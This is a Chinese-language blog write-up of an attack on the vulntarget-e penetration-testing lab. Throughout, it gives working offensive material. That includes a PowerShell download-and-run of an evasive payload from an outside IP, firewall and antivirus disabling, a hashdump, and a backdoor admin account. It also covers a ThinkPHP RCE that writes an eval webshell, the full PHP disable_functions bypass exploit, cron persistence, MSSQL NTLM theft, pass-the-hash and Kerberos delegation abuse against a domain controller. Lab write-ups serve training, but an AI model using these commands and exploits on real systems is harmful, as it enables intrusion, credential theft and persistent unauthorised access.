从a打到e 我个人感觉e是最好的 可以学到挺多东西的

image-20231211145027877

这个是整个靶机所用到的机器

靶机外网地址 192.168.52.140

攻击机地址 192.168.52.129

先是fscan开扫 但是发现ping失败了 于是就猜测是开启了防火墙 于是只扫端口就行了

这里使用fscan来扫的话 速度太慢了 于是我们使用nmap的-d参数来扫 这样的话也可以绕过防火墙

1
nmap -sV -sC -d 192.168.52.140 -p 1-65535

image-20231211150133281

重点是我们发现了这句话 不知道是啥服务这个端口 于是去Google查询了一下 发现是向日葵的一个RCE漏洞

https://mdnice.com/writing/8a41e22d1d0744bd9e8ab5999d3cfebe

直接抓包来打

image-20231211150459046

漏洞真实存在 于是开始进行看看能不能上线主机 先收集一下信息

(防火墙是开启的 并且是用tasklist来查看 发现是存在wdf的 所以这里的话需要上免杀马 并且关掉防火墙)

netsh advfirewall set allprofiles state off //关闭防火墙命令

image-20231211151220461

这里还是使用的掩日这个工具 选的模块就是网络隔离那一块就行了

image-20231211150756007

生成好之后 刚开始是想尝试wget来上传文件 但是这里不知道为什么不行会报错

然后我们就换成了powershell来上传文件

1
2
3
4
Invoke-WebRequest -Uri 'http://101.42.39.110:1234/4G0.exe' -OutFile 'C:\\4G0.exe'

//下面的那个是下载并执行ps1脚本的
IEX (New-Object Net.WebClient).DownloadString('https://example.com/script.ps1')

在成功上传文件之后

image-20231211151046296

开启viper监听 然后上线主机

start C:\\4G0.exe http://101.42.39.110:1234/4G0.txt

image-20231211151336409

image-20231211151444064

上线成功 我们先进去把杀软给关了先 (因为是system权限 所以杀软可以直接关闭)

image-20231211151609424

再次查看tasklist 发现wdf已经杀掉了

hashdump

1
2
3
4
5
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:388f586516a4cba963b4181363b44034:::
ash:1000:aad3b435b51404eeaad3b435b51404ee:96783bb69c00614e88f7d4688623c83a:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

然后因为是外网主机 我们可以开启其3389端口 并且新加上一个本地管理员账户 然后RDP上去

1
2
3
4
5
6
7
8
9
10
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f


//上面的代码时开启3389端口的方法
1
2
3
4
net user Ke1nys qwer1234! /add
net localgroup administrators Ke1nys /add

//添加本地管理员的方法

然后RDP上去

image-20231211152240189

成功RDP上去 于是开启信息收集

image-20231211152447621

在本地管理员桌面发现了文件 里面一堆地址 不知道有啥用 先下载下来

image-20231211152548732

不在域中

image-20231211152623233

同样也是存在双网卡 并且呢这个 100段下的机器也是存在防火墙拦截 我们也是ping不通 于是还是使用fscan来扫描 这里直接使用msf的扫端口模块来扫出存活ip 然后再使用nmap来扫全都端口

1
2
3
4
auxiliary/scanner/portscan/tcp

//使用这个命令的话 记得上内网路由 不然扫不出来

image-20231211154253327

一共是扫出两个存活ip 155是我们本机 然后131就是别的机器了 于是上fscan扫全端口看看 (我看别人的wp上写着是可以使用kscan来替代nmap 没试过 记录一下 下次可能用得着)

image-20231211155335185

访问80端口

image-20231211154947846

发现是400 很奇怪 然后扫一下目录啥也没扫到 卡住了…………………

访问8888端口

image-20231211155405644

发现是宝塔搭建的 但是不知道后台路径 然后尝试爆破 也没啥东西被爆破出来 我们之前再那个啥获取到的这个地址 那个可能有用

image-20231211155619120

然后我们就猜测是host碰撞

image-20231211155720872

成功找到 这里使用的hostscan这个工具

image-20231211155819984

但是发现就一个普通的登录框 啥用也没有 又卡住了……………………….

(应该是信息收集做的不到位 这里我们就想一下 这台机器可能访问过这个网站 浏览器中可能存在该后台地址 于是我们直接使用msf来收集一下浏览器的浏览记录)

1
run post/windows/gather/forensics/browser_history

image-20231211160243203

存在该地址 于是翻看浏览器记录 终于是发现了该ip的正确地址

1
2
3
4
5

http://192.168.100.131/vulntarget/thinkphp
http://192.168.100.131/vulntarget/pubilc
http://192.168.100.131/vulntarget/pubilc/123
http://192.168.100.131/vulntarget/pubilc/index.php

这是其存在的路径

image-20231211160429865

thinkphp5的版本 然后找poc来打

image-20231211160601937

但是呢 发现存在宝塔的防火墙 于是开始去找文件来进行绕过

1
2
3
4
5

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?>


//免杀马加路径写入 但是当前路径不可写

image-20231211161048304

于是我们写到别的目录下

1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?>

image-20231211161327588

没有被拦下 猜测成功写入 然后我们可以写免杀马进去

1
2

http://192.168.100.131/vulntarget/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=%3C?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?%3E

(其实这里能写入的原因就是assert和eval居然都没过滤 很奇怪)

然后因为我们这里是三层urldecode 所以需要重新定义蚁剑的连接编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'use strict';

// ########## 请在下方编写你自己的代码 ###################
function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(payload));
delete data['_'];
console.log(data);
return data;
}

image-20231211161651441

还有就是记得连接的时候加上host头 不然会连接失败

image-20231211162136769

然后成功进行连接 但是这里使用蚁剑自带的disable_function插件绕不过去 于是我们就用马来进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("whoami");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

image-20231211162207215

成功 确实能执行命令 但是有个点就是我们要提权 (原因就是这个机器开了防火墙 我们没有权限关掉)

讲一下在蚁剑不能上传文件的时候 我们可以怎么样上传文件 在外面扫端口的时候 发现了这个3333端口(就是外网主机) 但是呢我们却不知道其web路径在哪 于是呢 我们就可以使用到ladon这个工具了

image-20231211170824414

找到其的web路径了 然后我们把自己想要上传的文件上传进去 然后在蚁剑的脚本处wget就可以把我们想要的文件上传到linux机器上了

类似这样

image-20231211171020672

(就是因为使用了这个方法上传了这个马 我们在接下来的操作中才可以上线该机器)

但是查了半天发现 提权不成功 然后在翻home目录的过程中 发现了有个key文件

image-20231211162928178

将其下载下来 看看能不能当作私钥来进行登录image-20231211163237940

真的可以 于是直接关闭防火墙

1
2
3
ufw disable			#关闭防火墙

ufw status #查看防火墙状态

image-20231211163522806

1
2
3
4
5
6
dig @8.8.8.8 www.baidu.com		#DNS判断出网
curl http://www.baidu.com # HTTP 判断出网
curl https://www.baidu.com # HTTPS 判断出网
TCP协议可以上传NC工具来判断出网

//记录个细节 就是每次拿下一台机器后呢 可以使用这些命令来判断一下 主机哪些协议出网 哪些协议不出网

然后写个定时任务 防止shell断了

1
echo "* * * * * /www/wwwroot/vulntarget-e2/1.elf" | crontab -  //写定时任务  

image-20231211164113671

image-20231211164213592

成功上线 然后开始收集信息

image-20231211164350865

然后使用msf来上传fscan开扫

image-20231211164445929

发现可以ping通 那么应该防火墙没开

image-20231211164604580

这个windows机器应该是内网机器了 存在vulntarget.com这个域 并且存在1433端口 我们使用msf来爆破一下其账号密码

image-20231211165901256

不能使用crackmapexec 因为爆破的用户名不在域中 所以会爆破失败

弱口令爆破成功 test/123.com

直接连接上去

image-20231211170044321

1
proxychains impacket-mssqlclient test:123.com@192.168.88.102

成功连接上去了 然后判断一下权限

1
2
3
4
5
6
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')

不幸的是 这是最低权限 写函数getshell啥的都干不了了

但是呢 sqlserver低权限有个技巧就是 可以打中继攻击

像一些函数无法去开启执行,但是想到sql server数据库里面有xp_dirtree这个存储,可以利用他去请求UNC,然后获取net-ntlm hash,因为这个普通权限就能执行

1
2

use auxiliary/admin/mssql/mssql_ntlm_stealer

image-20231211171630485

image-20231211171641785

1
2
3
4

python3 Responder.py -I ens37 -v

//这里的话去GitHub项目找的话 记得选第二个分支 第二个分支才是python3

image-20231211171605569

收集到这个机器用户的hash值

但是没啥用 然后离谱的是获取到这个机器的用户的账号密码也是爆破出来的…………………….

win2008/qweASD123 虽然说获取到了这个账号 但是还是连接不上去

image-20231211172327805

去找了一圈也不知道是啥原因…………

这里知道是啥原因了( 把LocalAccountTokenFilterPolicy设置为1,否则后面用户在PTH的时候会爆[-] rpc_s_access_denied错误)

image-20231214175917808

image-20231214180050331

确实是不存在该值

image-20231214180155969

1
2
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

然后再rdp或者或者pth攻击连接的时候 记得先加上这一条

然后更加离谱的是 本地管理员的账号密码也可以爆破出来

administrator/admin@123 然后这个是可以连接上去的

1
proxychains crackmapexec smb 192.168.88.102 -u administrator -p admin@123 --local-auth 这个命令是只看本机上的这个用户  不看域  (不然会被当成域控了)

image-20231211172603716

1
proxychains python3 wmiexec.py administrator:'admin@123'@192.168.88.102

成功连接上去 然后就是开启3389端口 然后RDP上去 还是老样子 因为机器没有.Net语言环境 所以我们的sharphound跑不了 如果换成python的话sharphound的话也是同样跑不了 ………………

那么我们就先RDP上去 然后使用本地管理员账户登录 然后上传马 上线

image-20231211174217507

也是存在双网卡 然后直接上传fscan上去开扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
10.0.10.10:53 open
10.0.10.10:80 open
10.0.10.10:88 open
10.0.10.9:135 open
10.0.10.10:139 open
10.0.10.9:139 open
10.0.10.10:135 open
10.0.10.10:53 open
10.0.10.10:88 open
10.0.10.10:80 open
10.0.10.10:389 open
10.0.10.9:445 open
10.0.10.10:445 open
10.0.10.10:464 open
10.0.10.10:593 open
10.0.10.10:636 open
10.0.10.9:1234 open
10.0.10.9:1433 open
10.0.10.10:3268 open
10.0.10.10:3269 open
10.0.10.10:5985 open
10.0.10.10:135 open
10.0.10.9:135 open
10.0.10.9:139 open
10.0.10.10:139 open
10.0.10.10:9389 open
10.0.10.9:47001 open
10.0.10.9:49152 open
10.0.10.9:49156 open
10.0.10.9:49155 open
10.0.10.9:49154 open
10.0.10.9:49153 open
10.0.10.9:49481 open
10.0.10.10:49666 open
10.0.10.10:49667 open
10.0.10.10:49669 open
10.0.10.10:49670 open
10.0.10.10:49672 open
10.0.10.10:49685 open
10.0.10.10:49698 open
10.0.10.10:389 open
10.0.10.10:65105 open
10.0.10.9:445 open
10.0.10.10:445 open
[*] NetInfo:
[*]10.0.10.9
[->]WIN-N4DK5RPD2QU
[->]10.0.10.9
[->]192.168.88.102
[+] 10.0.10.9 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[*] NetInfo:
[*]10.0.10.10
[->]WIN-1PV25H8UJPN
[->]10.0.10.10
[*] NetBios: 10.0.10.9 WIN-N4DK5RPD2QU.vulntarget.com Windows Server 2008 HPC Edition 7601 Service Pack 1
[*] WebTitle: http://10.0.10.9:47001 code:404 len:315 title:Not Found
[*] NetBios: 10.0.10.10 [+]DC WIN-1PV25H8UJPN.vulntarget.com Windows Server 2016 Datacenter 14393
[*] 10.0.10.10 (Windows Server 2016 Datacenter 14393)
[*] WebTitle: http://10.0.10.10:5985 code:404 len:315 title:Not Found
[*] WebTitle: http://10.0.10.10 code:200 len:703 title:IIS Windows Server
[+] http://10.0.10.10 poc-yaml-active-directory-certsrv-detect

发现DC了 然后还是老样子 上代理

image-20231211174738336

能够访问 代理成功 然后开始打域控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
使用
AdFind.exe -h 192.168.88.102 -u win2008 -up qweASD123 -b "DC=nami,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

发现win2008这个用户存在资源委派 然后我们就可以直接打了
使用kekeo进行一个票据的请求
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
申请administrator权限的票据
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
mimikatz注入票据
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi

dir访问
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$




这里本来是想用Rubeus.exe这个工具的 但是这个工具和sharphound一样 想要.Net环境 但是kekeo.exe这个工具不需要 所以直接用这个工具来打就行了

然后就结束了image-20231211175209631

可以这样子打 然后开启3389端口 然后连接上去 使用wmiexec也行 但是不建议使用proxychains来连 因为会失败(不知道为啥) 建议直接开proxifier 然后使用物理机来执行wmiexec

(还有这里有个骚操作就是在139 / 445端口开的时候 我们有了账号密码 在不能RDP上去的时候 我们可以先使用smbclient连接 然后上传文件上去)

还有就是在win2012用户的server 我们获取到这个明文密码的方法就是

https://blog.csdn.net/weixin_30883311/article/details/102451254

https://xuwp.top/Operating-System-Security.html#%E4%BD%BF%E7%94%A8Windows%E4%B8%AD%E7%9A%84PKI

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/HASH%E6%93%8D%E4%BD%9C/mimikatz/Procdump64+mimikatz.md

这三个链接 第一个是包含这个这个可以强制锁屏的命令 然后其他两个就是导出lass的然后解出明文的一个方法

三层内网代理 绕过 免杀 (挺好的这个靶场 有一点不足的就是这个靶机的话最后拿下win2008这台机子的方法有点牵强)